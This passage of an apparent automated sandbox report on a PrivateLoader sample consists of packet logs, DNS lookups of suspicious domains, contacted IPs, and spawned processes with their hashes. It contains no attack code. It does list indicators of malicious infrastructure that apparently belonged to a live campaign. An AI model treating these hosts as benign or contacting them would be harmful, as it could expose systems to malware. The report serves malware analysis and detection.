Sep 2, 2022 14:03:31.750190973 CEST	49827	80	192.168.2.6	89.185.85.53
Sep 2, 2022 14:03:31.750217915 CEST	49827	80	192.168.2.6	89.185.85.53
Sep 2, 2022 14:03:31.750684977 CEST	80	49827	89.185.85.53	192.168.2.6
Sep 2, 2022 14:03:31.750715971 CEST	80	49827	89.185.85.53	192.168.2.6
Sep 2, 2022 14:03:31.750735998 CEST	80	49827	89.185.85.53	192.168.2.6
Sep 2, 2022 14:03:31.750750065 CEST	49827	80	192.168.2.6	89.185.85.53
Sep 2, 2022 14:03:31.750758886 CEST	80	49827	89.185.85.53	192.168.2.6
Sep 2, 2022 14:03:31.750765085 CEST	49827	80	192.168.2.6	89.185.85.53
Sep 2, 2022 14:03:31.750783920 CEST	80	49827	89.185.85.53	192.168.2.6
Sep 2, 2022 14:03:31.750786066 CEST	49827	80	192.168.2.6	89.185.85.53
Sep 2, 2022 14:03:31.750797033 CEST	49827	80	192.168.2.6	89.185.85.53
Sep 2, 2022 14:03:31.750808001 CEST	80	49827	89.185.85.53	192.168.2.6
Sep 2, 2022 14:03:31.750822067 CEST	49827	80	192.168.2.6	89.185.85.53
Sep 2, 2022 14:03:31.750829935 CEST	80	49827	89.185.85.53	192.168.2.6
Sep 2, 2022 14:03:31.750853062 CEST	80	49827	89.185.85.53	192.168.2.6
Sep 2, 2022 14:03:31.750854015 CEST	49827	80	192.168.2.6	89.185.85.53
Sep 2, 2022 14:03:31.750864983 CEST	49827	80	192.168.2.6	89.185.85.53
Sep 2, 2022 14:03:31.750874043 CEST	80	49827	89.185.85.53	192.168.2.6
Sep 2, 2022 14:03:31.750894070 CEST	49827	80	192.168.2.6	89.185.85.53
Sep 2, 2022 14:03:31.750907898 CEST	49827	80	192.168.2.6	89.185.85.53
Sep 2, 2022 14:03:31.751154900 CEST	80	49827	89.185.85.53	192.168.2.6
Sep 2, 2022 14:03:31.751184940 CEST	80	49827	89.185.85.53	192.168.2.6
Sep 2, 2022 14:03:31.751202106 CEST	49827	80	192.168.2.6	89.185.85.53
Sep 2, 2022 14:03:31.751208067 CEST	80	49827	89.185.85.53	192.168.2.6
Sep 2, 2022 14:03:31.751230001 CEST	80	49827	89.185.85.53	192.168.2.6
Sep 2, 2022 14:03:31.751254082 CEST	49827	80	192.168.2.6	89.185.85.53
Sep 2, 2022 14:03:31.751275063 CEST	49827	80	192.168.2.6	89.185.85.53
Sep 2, 2022 14:03:31.758848906 CEST	80	49827	89.185.85.53	192.168.2.6
Sep 2, 2022 14:03:31.758913994 CEST	80	49827	89.185.85.53	192.168.2.6
Sep 2, 2022 14:03:31.758938074 CEST	80	49827	89.185.85.53	192.168.2.6
Sep 2, 2022 14:03:31.758955956 CEST	80	49827	89.185.85.53	192.168.2.6
Sep 2, 2022 14:03:31.758976936 CEST	80	49827	89.185.85.53	192.168.2.6
Sep 2, 2022 14:03:31.759000063 CEST	80	49827	89.185.85.53	192.168.2.6
Sep 2, 2022 14:03:31.759022951 CEST	80	49827	89.185.85.53	192.168.2.6
Sep 2, 2022 14:03:31.759046078 CEST	80	49827	89.185.85.53	192.168.2.6
Sep 2, 2022 14:03:31.759067059 CEST	80	49827	89.185.85.53	192.168.2.6
Sep 2, 2022 14:03:31.759089947 CEST	80	49827	89.185.85.53	192.168.2.6
Sep 2, 2022 14:03:31.759093046 CEST	49827	80	192.168.2.6	89.185.85.53
Sep 2, 2022 14:03:31.759113073 CEST	80	49827	89.185.85.53	192.168.2.6
Sep 2, 2022 14:03:31.759134054 CEST	49827	80	192.168.2.6	89.185.85.53
Sep 2, 2022 14:03:31.759138107 CEST	80	49827	89.185.85.53	192.168.2.6
Sep 2, 2022 14:03:31.759138107 CEST	49827	80	192.168.2.6	89.185.85.53
Sep 2, 2022 14:03:31.759160995 CEST	80	49827	89.185.85.53	192.168.2.6
Sep 2, 2022 14:03:31.759171963 CEST	49827	80	192.168.2.6	89.185.85.53
Sep 2, 2022 14:03:31.759183884 CEST	80	49827	89.185.85.53	192.168.2.6
Sep 2, 2022 14:03:31.759207010 CEST	80	49827	89.185.85.53	192.168.2.6
Sep 2, 2022 14:03:31.759207010 CEST	49827	80	192.168.2.6	89.185.85.53
Sep 2, 2022 14:03:31.759228945 CEST	49827	80	192.168.2.6	89.185.85.53
Sep 2, 2022 14:03:31.759229898 CEST	80	49827	89.185.85.53	192.168.2.6
Sep 2, 2022 14:03:31.759252071 CEST	80	49827	89.185.85.53	192.168.2.6
Sep 2, 2022 14:03:31.759258986 CEST	49827	80	192.168.2.6	89.185.85.53
Sep 2, 2022 14:03:31.759273052 CEST	80	49827	89.185.85.53	192.168.2.6
Sep 2, 2022 14:03:31.759279013 CEST	49827	80	192.168.2.6	89.185.85.53
Sep 2, 2022 14:03:31.759294033 CEST	80	49827	89.185.85.53	192.168.2.6
Sep 2, 2022 14:03:31.759299040 CEST	49827	80	192.168.2.6	89.185.85.53
Sep 2, 2022 14:03:31.759315968 CEST	80	49827	89.185.85.53	192.168.2.6
Sep 2, 2022 14:03:31.759319067 CEST	49827	80	192.168.2.6	89.185.85.53
Sep 2, 2022 14:03:31.759341955 CEST	49827	80	192.168.2.6	89.185.85.53
Sep 2, 2022 14:03:31.759371996 CEST	49827	80	192.168.2.6	89.185.85.53
Sep 2, 2022 14:03:31.759385109 CEST	80	49827	89.185.85.53	192.168.2.6
Sep 2, 2022 14:03:31.759407043 CEST	80	49827	89.185.85.53	192.168.2.6
Sep 2, 2022 14:03:31.759427071 CEST	80	49827	89.185.85.53	192.168.2.6
Sep 2, 2022 14:03:31.759428024 CEST	49827	80	192.168.2.6	89.185.85.53
Sep 2, 2022 14:03:31.759449959 CEST	80	49827	89.185.85.53	192.168.2.6
Sep 2, 2022 14:03:31.759454012 CEST	49827	80	192.168.2.6	89.185.85.53
Sep 2, 2022 14:03:31.759473085 CEST	80	49827	89.185.85.53	192.168.2.6
Sep 2, 2022 14:03:31.759484053 CEST	49827	80	192.168.2.6	89.185.85.53
Sep 2, 2022 14:03:31.759495974 CEST	80	49827	89.185.85.53	192.168.2.6
Sep 2, 2022 14:03:31.759501934 CEST	49827	80	192.168.2.6	89.185.85.53
Sep 2, 2022 14:03:31.759517908 CEST	80	49827	89.185.85.53	192.168.2.6
Sep 2, 2022 14:03:31.759520054 CEST	49827	80	192.168.2.6	89.185.85.53
Sep 2, 2022 14:03:31.759542942 CEST	80	49827	89.185.85.53	192.168.2.6
Sep 2, 2022 14:03:31.759542942 CEST	49827	80	192.168.2.6	89.185.85.53
Sep 2, 2022 14:03:31.759563923 CEST	49827	80	192.168.2.6	89.185.85.53
Sep 2, 2022 14:03:31.759566069 CEST	80	49827	89.185.85.53	192.168.2.6
Sep 2, 2022 14:03:31.759581089 CEST	49827	80	192.168.2.6	89.185.85.53
Sep 2, 2022 14:03:31.759588003 CEST	80	49827	89.185.85.53	192.168.2.6
Sep 2, 2022 14:03:31.759605885 CEST	49827	80	192.168.2.6	89.185.85.53
Sep 2, 2022 14:03:31.759612083 CEST	80	49827	89.185.85.53	192.168.2.6
Sep 2, 2022 14:03:31.759622097 CEST	49827	80	192.168.2.6	89.185.85.53
Sep 2, 2022 14:03:31.759634018 CEST	80	49827	89.185.85.53	192.168.2.6
Sep 2, 2022 14:03:31.759649038 CEST	49827	80	192.168.2.6	89.185.85.53
Sep 2, 2022 14:03:31.759655952 CEST	80	49827	89.185.85.53	192.168.2.6
Sep 2, 2022 14:03:31.759670973 CEST	49827	80	192.168.2.6	89.185.85.53
Sep 2, 2022 14:03:31.759676933 CEST	80	49827	89.185.85.53	192.168.2.6
Sep 2, 2022 14:03:31.759692907 CEST	49827	80	192.168.2.6	89.185.85.53
Sep 2, 2022 14:03:31.759700060 CEST	80	49827	89.185.85.53	192.168.2.6
Sep 2, 2022 14:03:31.759713888 CEST	49827	80	192.168.2.6	89.185.85.53
Sep 2, 2022 14:03:31.759725094 CEST	80	49827	89.185.85.53	192.168.2.6
Sep 2, 2022 14:03:31.759737968 CEST	49827	80	192.168.2.6	89.185.85.53
Sep 2, 2022 14:03:31.759748936 CEST	80	49827	89.185.85.53	192.168.2.6
Sep 2, 2022 14:03:31.759761095 CEST	49827	80	192.168.2.6	89.185.85.53
Sep 2, 2022 14:03:31.759773016 CEST	80	49827	89.185.85.53	192.168.2.6
Sep 2, 2022 14:03:31.759785891 CEST	49827	80	192.168.2.6	89.185.85.53
Sep 2, 2022 14:03:31.759799004 CEST	80	49827	89.185.85.53	192.168.2.6
Sep 2, 2022 14:03:31.759809971 CEST	49827	80	192.168.2.6	89.185.85.53
Sep 2, 2022 14:03:31.759825945 CEST	80	49827	89.185.85.53	192.168.2.6
Sep 2, 2022 14:03:31.759835005 CEST	49827	80	192.168.2.6	89.185.85.53
Sep 2, 2022 14:03:31.759851933 CEST	80	49827	89.185.85.53	192.168.2.6
Sep 2, 2022 14:03:31.759865046 CEST	49827	80	192.168.2.6	89.185.85.53
Sep 2, 2022 14:03:31.759876966 CEST	80	49827	89.185.85.53	192.168.2.6
Sep 2, 2022 14:03:31.759888887 CEST	49827	80	192.168.2.6	89.185.85.53
Sep 2, 2022 14:03:31.759900093 CEST	80	49827	89.185.85.53	192.168.2.6
Sep 2, 2022 14:03:31.759912968 CEST	49827	80	192.168.2.6	89.185.85.53
Sep 2, 2022 14:03:31.759927034 CEST	80	49827	89.185.85.53	192.168.2.6
Sep 2, 2022 14:03:31.759933949 CEST	49827	80	192.168.2.6	89.185.85.53
Sep 2, 2022 14:03:31.759951115 CEST	80	49827	89.185.85.53	192.168.2.6
Sep 2, 2022 14:03:31.759963036 CEST	49827	80	192.168.2.6	89.185.85.53
Sep 2, 2022 14:03:31.759975910 CEST	80	49827	89.185.85.53	192.168.2.6
Sep 2, 2022 14:03:31.759989023 CEST	49827	80	192.168.2.6	89.185.85.53
Sep 2, 2022 14:03:31.759999990 CEST	80	49827	89.185.85.53	192.168.2.6
Sep 2, 2022 14:03:31.760010958 CEST	49827	80	192.168.2.6	89.185.85.53
Sep 2, 2022 14:03:31.760023117 CEST	80	49827	89.185.85.53	192.168.2.6
Sep 2, 2022 14:03:31.760035992 CEST	49827	80	192.168.2.6	89.185.85.53
Sep 2, 2022 14:03:31.760047913 CEST	80	49827	89.185.85.53	192.168.2.6
Sep 2, 2022 14:03:31.760061026 CEST	49827	80	192.168.2.6	89.185.85.53
Sep 2, 2022 14:03:31.760073900 CEST	80	49827	89.185.85.53	192.168.2.6
Sep 2, 2022 14:03:31.760083914 CEST	49827	80	192.168.2.6	89.185.85.53
Sep 2, 2022 14:03:31.760097027 CEST	80	49827	89.185.85.53	192.168.2.6
Sep 2, 2022 14:03:31.760111094 CEST	49827	80	192.168.2.6	89.185.85.53
Sep 2, 2022 14:03:31.760122061 CEST	80	49827	89.185.85.53	192.168.2.6
Sep 2, 2022 14:03:31.760133028 CEST	49827	80	192.168.2.6	89.185.85.53
Sep 2, 2022 14:03:31.760148048 CEST	80	49827	89.185.85.53	192.168.2.6
Sep 2, 2022 14:03:31.760159969 CEST	49827	80	192.168.2.6	89.185.85.53
Sep 2, 2022 14:03:31.760183096 CEST	49827	80	192.168.2.6	89.185.85.53
Sep 2, 2022 14:03:32.082880974 CEST	49827	80	192.168.2.6	89.185.85.53
Sep 2, 2022 14:03:32.085047007 CEST	49827	80	192.168.2.6	89.185.85.53
Sep 2, 2022 14:03:35.198959112 CEST	49829	80	192.168.2.6	45.136.151.102
Sep 2, 2022 14:03:35.339663029 CEST	80	49829	45.136.151.102	192.168.2.6
Sep 2, 2022 14:03:35.339773893 CEST	49829	80	192.168.2.6	45.136.151.102
Sep 2, 2022 14:03:35.401035070 CEST	49833	80	192.168.2.6	45.136.151.102
Sep 2, 2022 14:03:35.492261887 CEST	49827	80	192.168.2.6	89.185.85.53
Sep 2, 2022 14:03:35.515677929 CEST	80	49827	89.185.85.53	192.168.2.6
Sep 2, 2022 14:03:35.544517994 CEST	80	49827	89.185.85.53	192.168.2.6
Sep 2, 2022 14:03:35.544549942 CEST	80	49827	89.185.85.53	192.168.2.6
Sep 2, 2022 14:03:35.544572115 CEST	80	49827	89.185.85.53	192.168.2.6
Sep 2, 2022 14:03:35.544588089 CEST	80	49827	89.185.85.53	192.168.2.6
Sep 2, 2022 14:03:35.544593096 CEST	49827	80	192.168.2.6	89.185.85.53
Sep 2, 2022 14:03:35.544632912 CEST	49827	80	192.168.2.6	89.185.85.53
Sep 2, 2022 14:03:35.544899940 CEST	80	49827	89.185.85.53	192.168.2.6
Sep 2, 2022 14:03:35.544923067 CEST	80	49827	89.185.85.53	192.168.2.6
Sep 2, 2022 14:03:35.544945955 CEST	80	49827	89.185.85.53	192.168.2.6
Sep 2, 2022 14:03:35.544948101 CEST	49827	80	192.168.2.6	89.185.85.53
Sep 2, 2022 14:03:35.544986963 CEST	49827	80	192.168.2.6	89.185.85.53
Sep 2, 2022 14:03:35.550952911 CEST	80	49833	45.136.151.102	192.168.2.6
Sep 2, 2022 14:03:35.551100016 CEST	49833	80	192.168.2.6	45.136.151.102
Sep 2, 2022 14:03:35.555988073 CEST	80	49827	89.185.85.53	192.168.2.6
Sep 2, 2022 14:03:35.556015015 CEST	80	49827	89.185.85.53	192.168.2.6
Sep 2, 2022 14:03:35.556034088 CEST	80	49827	89.185.85.53	192.168.2.6
Sep 2, 2022 14:03:35.556066990 CEST	49827	80	192.168.2.6	89.185.85.53
Sep 2, 2022 14:03:35.556108952 CEST	49827	80	192.168.2.6	89.185.85.53
Sep 2, 2022 14:03:35.561415911 CEST	49833	80	192.168.2.6	45.136.151.102
Sep 2, 2022 14:03:35.568523884 CEST	80	49827	89.185.85.53	192.168.2.6
Sep 2, 2022 14:03:35.568548918 CEST	80	49827	89.185.85.53	192.168.2.6
Sep 2, 2022 14:03:35.568566084 CEST	80	49827	89.185.85.53	192.168.2.6
Sep 2, 2022 14:03:35.568583012 CEST	80	49827	89.185.85.53	192.168.2.6
Sep 2, 2022 14:03:35.568593979 CEST	49827	80	192.168.2.6	89.185.85.53
Sep 2, 2022 14:03:35.568600893 CEST	80	49827	89.185.85.53	192.168.2.6
Sep 2, 2022 14:03:35.568619013 CEST	49827	80	192.168.2.6	89.185.85.53
Sep 2, 2022 14:03:35.568650007 CEST	49827	80	192.168.2.6	89.185.85.53
Sep 2, 2022 14:03:35.568655014 CEST	80	49827	89.185.85.53	192.168.2.6
Sep 2, 2022 14:03:35.568695068 CEST	49827	80	192.168.2.6	89.185.85.53
Sep 2, 2022 14:03:35.568706036 CEST	80	49827	89.185.85.53	192.168.2.6
Sep 2, 2022 14:03:35.568736076 CEST	80	49827	89.185.85.53	192.168.2.6
Sep 2, 2022 14:03:35.568744898 CEST	49827	80	192.168.2.6	89.185.85.53
Sep 2, 2022 14:03:35.568774939 CEST	49827	80	192.168.2.6	89.185.85.53
Sep 2, 2022 14:03:35.569412947 CEST	80	49827	89.185.85.53	192.168.2.6
Sep 2, 2022 14:03:35.569432020 CEST	80	49827	89.185.85.53	192.168.2.6
Sep 2, 2022 14:03:35.569457054 CEST	80	49827	89.185.85.53	192.168.2.6
Sep 2, 2022 14:03:35.569457054 CEST	49827	80	192.168.2.6	89.185.85.53
Sep 2, 2022 14:03:35.569478035 CEST	49827	80	192.168.2.6	89.185.85.53
Sep 2, 2022 14:03:35.569499969 CEST	49827	80	192.168.2.6	89.185.85.53
Sep 2, 2022 14:03:35.569499969 CEST	80	49827	89.185.85.53	192.168.2.6
Sep 2, 2022 14:03:35.569542885 CEST	80	49827	89.185.85.53	192.168.2.6
Sep 2, 2022 14:03:35.569545031 CEST	49827	80	192.168.2.6	89.185.85.53
Sep 2, 2022 14:03:35.569581032 CEST	80	49827	89.185.85.53	192.168.2.6
Sep 2, 2022 14:03:35.569581985 CEST	49827	80	192.168.2.6	89.185.85.53
Sep 2, 2022 14:03:35.569619894 CEST	49827	80	192.168.2.6	89.185.85.53
Sep 2, 2022 14:03:35.579787970 CEST	80	49827	89.185.85.53	192.168.2.6
Sep 2, 2022 14:03:35.579809904 CEST	80	49827	89.185.85.53	192.168.2.6
Sep 2, 2022 14:03:35.579828024 CEST	80	49827	89.185.85.53	192.168.2.6
Sep 2, 2022 14:03:35.579844952 CEST	80	49827	89.185.85.53	192.168.2.6
Sep 2, 2022 14:03:35.579853058 CEST	49827	80	192.168.2.6	89.185.85.53
Sep 2, 2022 14:03:35.579863071 CEST	80	49827	89.185.85.53	192.168.2.6
Sep 2, 2022 14:03:35.579880953 CEST	80	49827	89.185.85.53	192.168.2.6
Sep 2, 2022 14:03:35.579888105 CEST	49827	80	192.168.2.6	89.185.85.53
Sep 2, 2022 14:03:35.579912901 CEST	49827	80	192.168.2.6	89.185.85.53
Sep 2, 2022 14:03:35.579936981 CEST	49827	80	192.168.2.6	89.185.85.53
Sep 2, 2022 14:03:35.592338085 CEST	80	49827	89.185.85.53	192.168.2.6
Sep 2, 2022 14:03:35.592361927 CEST	80	49827	89.185.85.53	192.168.2.6
Sep 2, 2022 14:03:35.592411041 CEST	49827	80	192.168.2.6	89.185.85.53
Sep 2, 2022 14:03:35.592444897 CEST	49827	80	192.168.2.6	89.185.85.53
Sep 2, 2022 14:03:35.592797995 CEST	80	49827	89.185.85.53	192.168.2.6
Sep 2, 2022 14:03:35.592817068 CEST	80	49827	89.185.85.53	192.168.2.6
Sep 2, 2022 14:03:35.592834949 CEST	80	49827	89.185.85.53	192.168.2.6

DNS Queries

Timestamp	Source IP	Dest IP	Trans ID	OP Code	Name	Type	Class
Sep 2, 2022 14:02:16.632265091 CEST	192.168.2.6	8.8.8.8	0x415f	Standard query (0)	ipinfo.io	A (IP address)	IN (0x0001)
Sep 2, 2022 14:02:18.157917023 CEST	192.168.2.6	8.8.8.8	0xe126	Standard query (0)	vk.com	A (IP address)	IN (0x0001)
Sep 2, 2022 14:02:20.241195917 CEST	192.168.2.6	8.8.8.8	0xff99	Standard query (0)	tg8.cllgxx.com	A (IP address)	IN (0x0001)
Sep 2, 2022 14:02:20.245085955 CEST	192.168.2.6	8.8.8.8	0xc189	Standard query (0)	1landota.click	A (IP address)	IN (0x0001)
Sep 2, 2022 14:02:20.249521017 CEST	192.168.2.6	8.8.8.8	0x6b34	Standard query (0)	smartectechnologies.com	A (IP address)	IN (0x0001)
Sep 2, 2022 14:02:20.281320095 CEST	192.168.2.6	8.8.8.8	0xb883	Standard query (0)	cdn.discordapp.com	A (IP address)	IN (0x0001)
Sep 2, 2022 14:02:21.304142952 CEST	192.168.2.6	8.8.8.8	0xc189	Standard query (0)	1landota.click	A (IP address)	IN (0x0001)
Sep 2, 2022 14:02:21.304214954 CEST	192.168.2.6	8.8.8.8	0xff99	Standard query (0)	tg8.cllgxx.com	A (IP address)	IN (0x0001)
Sep 2, 2022 14:02:24.261955023 CEST	192.168.2.6	8.8.8.8	0x3f1	Standard query (0)	sun6-21.userapi.com	A (IP address)	IN (0x0001)
Sep 2, 2022 14:02:25.256222010 CEST	192.168.2.6	8.8.8.8	0x153c	Standard query (0)	sun6-22.userapi.com	A (IP address)	IN (0x0001)
Sep 2, 2022 14:02:27.651925087 CEST	192.168.2.6	8.8.8.8	0x1905	Standard query (0)	sun6-20.userapi.com	A (IP address)	IN (0x0001)
Sep 2, 2022 14:02:54.530520916 CEST	192.168.2.6	8.8.8.8	0x8878	Standard query (0)	telegram.org	A (IP address)	IN (0x0001)
Sep 2, 2022 14:02:59.697726965 CEST	192.168.2.6	8.8.8.8	0x85c2	Standard query (0)	iplis.ru	A (IP address)	IN (0x0001)
Sep 2, 2022 14:02:59.955176115 CEST	192.168.2.6	8.8.8.8	0xa9e2	Standard query (0)	iplis.ru	A (IP address)	IN (0x0001)
Sep 2, 2022 14:03:00.126624107 CEST	192.168.2.6	8.8.8.8	0xc1a3	Standard query (0)	iplogger.org	A (IP address)	IN (0x0001)
Sep 2, 2022 14:03:01.689384937 CEST	192.168.2.6	8.8.8.8	0x6179	Standard query (0)	ip-api.com	A (IP address)	IN (0x0001)
Sep 2, 2022 14:03:12.509892941 CEST	192.168.2.6	8.8.8.8	0x82d1	Standard query (0)	v.xyzgamev.com	A (IP address)	IN (0x0001)
Sep 2, 2022 14:03:13.744673967 CEST	192.168.2.6	8.8.8.8	0xce17	Standard query (0)	www.hhiuew33.com	A (IP address)	IN (0x0001)
Sep 2, 2022 14:03:14.543859005 CEST	192.168.2.6	8.8.8.8	0x53d8	Standard query (0)	www.google.com	A (IP address)	IN (0x0001)
Sep 2, 2022 14:03:20.715553045 CEST	192.168.2.6	8.8.8.8	0x6b9	Standard query (0)	www.hhiuew33.com	A (IP address)	IN (0x0001)
Sep 2, 2022 14:03:23.259463072 CEST	192.168.2.6	8.8.8.8	0xa917	Standard query (0)	v.xyzgamev.com	A (IP address)	IN (0x0001)
Sep 2, 2022 14:03:35.326875925 CEST	192.168.2.6	8.8.8.8	0xf666	Standard query (0)	www.hhiuew33.com	A (IP address)	IN (0x0001)
Sep 2, 2022 14:03:49.509825945 CEST	192.168.2.6	8.8.8.8	0xd1fb	Standard query (0)	www.hhiuew33.com	A (IP address)	IN (0x0001)
Sep 2, 2022 14:03:56.316123962 CEST	192.168.2.6	8.8.8.8	0xe048	Standard query (0)	www.hhiuew33.com	A (IP address)	IN (0x0001)
Sep 2, 2022 14:04:00.237956047 CEST	192.168.2.6	8.8.8.8	0x4813	Standard query (0)	g.agametog.com	A (IP address)	IN (0x0001)
Sep 2, 2022 14:04:00.238972902 CEST	192.168.2.6	8.8.8.8	0x1d1b	Standard query (0)	g.agametog.com	28	IN (0x0001)

DNS Answers

Timestamp	Source IP	Dest IP	Trans ID	Reply Code	Name	Address	Type	Class
Sep 2, 2022 14:02:16.651492119 CEST	8.8.8.8	192.168.2.6	0x415f	No error (0)	ipinfo.io	34.117.59.81	A (IP address)	IN (0x0001)
Sep 2, 2022 14:02:18.175832033 CEST	8.8.8.8	192.168.2.6	0xe126	No error (0)	vk.com	87.240.132.78	A (IP address)	IN (0x0001)
Sep 2, 2022 14:02:18.175832033 CEST	8.8.8.8	192.168.2.6	0xe126	No error (0)	vk.com	87.240.137.164	A (IP address)	IN (0x0001)
Sep 2, 2022 14:02:18.175832033 CEST	8.8.8.8	192.168.2.6	0xe126	No error (0)	vk.com	87.240.129.133	A (IP address)	IN (0x0001)
Sep 2, 2022 14:02:18.175832033 CEST	8.8.8.8	192.168.2.6	0xe126	No error (0)	vk.com	93.186.225.194	A (IP address)	IN (0x0001)
Sep 2, 2022 14:02:18.175832033 CEST	8.8.8.8	192.168.2.6	0xe126	No error (0)	vk.com	87.240.132.67	A (IP address)	IN (0x0001)
Sep 2, 2022 14:02:18.175832033 CEST	8.8.8.8	192.168.2.6	0xe126	No error (0)	vk.com	87.240.132.72	A (IP address)	IN (0x0001)
Sep 2, 2022 14:02:20.300796032 CEST	8.8.8.8	192.168.2.6	0x6b34	No error (0)	smartectechnologies.com	91.103.219.221	A (IP address)	IN (0x0001)
Sep 2, 2022 14:02:20.315067053 CEST	8.8.8.8	192.168.2.6	0xb883	No error (0)	cdn.discordapp.com	162.159.130.233	A (IP address)	IN (0x0001)
Sep 2, 2022 14:02:20.315067053 CEST	8.8.8.8	192.168.2.6	0xb883	No error (0)	cdn.discordapp.com	162.159.135.233	A (IP address)	IN (0x0001)
Sep 2, 2022 14:02:20.315067053 CEST	8.8.8.8	192.168.2.6	0xb883	No error (0)	cdn.discordapp.com	162.159.129.233	A (IP address)	IN (0x0001)
Sep 2, 2022 14:02:20.315067053 CEST	8.8.8.8	192.168.2.6	0xb883	No error (0)	cdn.discordapp.com	162.159.133.233	A (IP address)	IN (0x0001)
Sep 2, 2022 14:02:20.315067053 CEST	8.8.8.8	192.168.2.6	0xb883	No error (0)	cdn.discordapp.com	162.159.134.233	A (IP address)	IN (0x0001)
Sep 2, 2022 14:02:21.324398994 CEST	8.8.8.8	192.168.2.6	0xc189	No error (0)	1landota.click	172.67.147.230	A (IP address)	IN (0x0001)
Sep 2, 2022 14:02:21.324398994 CEST	8.8.8.8	192.168.2.6	0xc189	No error (0)	1landota.click	104.21.28.240	A (IP address)	IN (0x0001)
Sep 2, 2022 14:02:21.329221964 CEST	8.8.8.8	192.168.2.6	0xff99	No error (0)	tg8.cllgxx.com	85.209.157.230	A (IP address)	IN (0x0001)
Sep 2, 2022 14:02:24.281320095 CEST	8.8.8.8	192.168.2.6	0x3f1	No error (0)	sun6-21.userapi.com	95.142.206.1	A (IP address)	IN (0x0001)
Sep 2, 2022 14:02:25.275410891 CEST	8.8.8.8	192.168.2.6	0x153c	No error (0)	sun6-22.userapi.com	95.142.206.2	A (IP address)	IN (0x0001)
Sep 2, 2022 14:02:27.670985937 CEST	8.8.8.8	192.168.2.6	0x1905	No error (0)	sun6-20.userapi.com	95.142.206.0	A (IP address)	IN (0x0001)
Sep 2, 2022 14:02:54.547734976 CEST	8.8.8.8	192.168.2.6	0x8878	No error (0)	telegram.org	149.154.167.99	A (IP address)	IN (0x0001)
Sep 2, 2022 14:02:59.717361927 CEST	8.8.8.8	192.168.2.6	0x85c2	No error (0)	iplis.ru	148.251.234.93	A (IP address)	IN (0x0001)
Sep 2, 2022 14:02:59.973227978 CEST	8.8.8.8	192.168.2.6	0xa9e2	No error (0)	iplis.ru	148.251.234.93	A (IP address)	IN (0x0001)
Sep 2, 2022 14:03:00.146780014 CEST	8.8.8.8	192.168.2.6	0xc1a3	No error (0)	iplogger.org	148.251.234.83	A (IP address)	IN (0x0001)
Sep 2, 2022 14:03:01.707294941 CEST	8.8.8.8	192.168.2.6	0x6179	No error (0)	ip-api.com	208.95.112.1	A (IP address)	IN (0x0001)
Sep 2, 2022 14:03:12.531637907 CEST	8.8.8.8	192.168.2.6	0x82d1	No error (0)	v.xyzgamev.com	104.21.40.196	A (IP address)	IN (0x0001)
Sep 2, 2022 14:03:12.531637907 CEST	8.8.8.8	192.168.2.6	0x82d1	No error (0)	v.xyzgamev.com	172.67.188.70	A (IP address)	IN (0x0001)
Sep 2, 2022 14:03:13.765573025 CEST	8.8.8.8	192.168.2.6	0xce17	No error (0)	www.hhiuew33.com	45.136.151.102	A (IP address)	IN (0x0001)
Sep 2, 2022 14:03:14.561877012 CEST	8.8.8.8	192.168.2.6	0x53d8	No error (0)	www.google.com	172.217.168.36	A (IP address)	IN (0x0001)
Sep 2, 2022 14:03:20.736618042 CEST	8.8.8.8	192.168.2.6	0x6b9	No error (0)	www.hhiuew33.com	45.136.151.102	A (IP address)	IN (0x0001)
Sep 2, 2022 14:03:23.282463074 CEST	8.8.8.8	192.168.2.6	0xa917	No error (0)	v.xyzgamev.com	172.67.188.70	A (IP address)	IN (0x0001)
Sep 2, 2022 14:03:23.282463074 CEST	8.8.8.8	192.168.2.6	0xa917	No error (0)	v.xyzgamev.com	104.21.40.196	A (IP address)	IN (0x0001)
Sep 2, 2022 14:03:35.348301888 CEST	8.8.8.8	192.168.2.6	0xf666	No error (0)	www.hhiuew33.com	45.136.151.102	A (IP address)	IN (0x0001)
Sep 2, 2022 14:03:49.529273033 CEST	8.8.8.8	192.168.2.6	0xd1fb	No error (0)	www.hhiuew33.com	45.136.151.102	A (IP address)	IN (0x0001)
Sep 2, 2022 14:03:56.337949991 CEST	8.8.8.8	192.168.2.6	0xe048	No error (0)	www.hhiuew33.com	45.136.151.102	A (IP address)	IN (0x0001)
Sep 2, 2022 14:04:00.259076118 CEST	8.8.8.8	192.168.2.6	0x4813	No error (0)	g.agametog.com	34.142.181.181	A (IP address)	IN (0x0001)

HTTP Request Dependency Graph

116.203.105.117

107.182.129.251

62.204.41.123

tg8.cllgxx.com

163.123.143.4

ip-api.com

www.hhiuew33.com

89.185.85.53

Statistics

CPU Usage

Click to jump to process

Memory Usage

Click to jump to process

High Level Behavior Distribution

Click to dive into process behavior distribution

Behavior

Click to jump to process

System Behavior

Analysis Process: fJe9em23BB.exePID: 832, Parent PID: 5380

General

Target ID:	0
Start time:	14:02:10
Start date:	02/09/2022
Path:	C:\Users\user\Desktop\fJe9em23BB.exe
Wow64 process (32bit):	true
Commandline:	"C:\Users\user\Desktop\fJe9em23BB.exe"
Imagebase:	0x350000
File size:	2440208 bytes
MD5 hash:	E18B3707FF095F5DD8EAC23474E25809
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Yara matches:	Rule: JoeSecurity_PrivateLoader, Description: Yara detected PrivateLoader, Source: 00000000.00000003.254312255.0000000002FB0000.00000004.00001000.00020000.00000000.sdmp, Author: Joe Security
Reputation:	low

Show Windows behavior

Chronological Activities

Analysis Process: GWafJDbetTJK0ciVGh5n0Df1.exePID: 6360, Parent PID: 832

General

Target ID:	13
Start time:	14:02:50
Start date:	02/09/2022
Path:	C:\Users\user\Pictures\Minor Policy\GWafJDbetTJK0ciVGh5n0Df1.exe
Wow64 process (32bit):	true
Commandline:	"C:\Users\user\Pictures\Minor Policy\GWafJDbetTJK0ciVGh5n0Df1.exe"
Imagebase:	0x1080000
File size:	3210240 bytes
MD5 hash:	106078BB0964B75800DA2013419239D9
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	.Net C# or VB.NET
Reputation:	low

Show Windows behavior

Chronological Activities

Analysis Process: 0RWCjOTmPGy8vyz30vD2T7Gp.exePID: 6368, Parent PID: 832

General

Target ID:	14
Start time:	14:02:51
Start date:	02/09/2022
Path:	C:\Users\user\Pictures\Minor Policy\0RWCjOTmPGy8vyz30vD2T7Gp.exe
Wow64 process (32bit):	true
Commandline:	"C:\Users\user\Pictures\Minor Policy\0RWCjOTmPGy8vyz30vD2T7Gp.exe"
Imagebase:	0x860000
File size:	1474107 bytes
MD5 hash:	7C21DE05BE518F55C847F18E46F4F65D
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
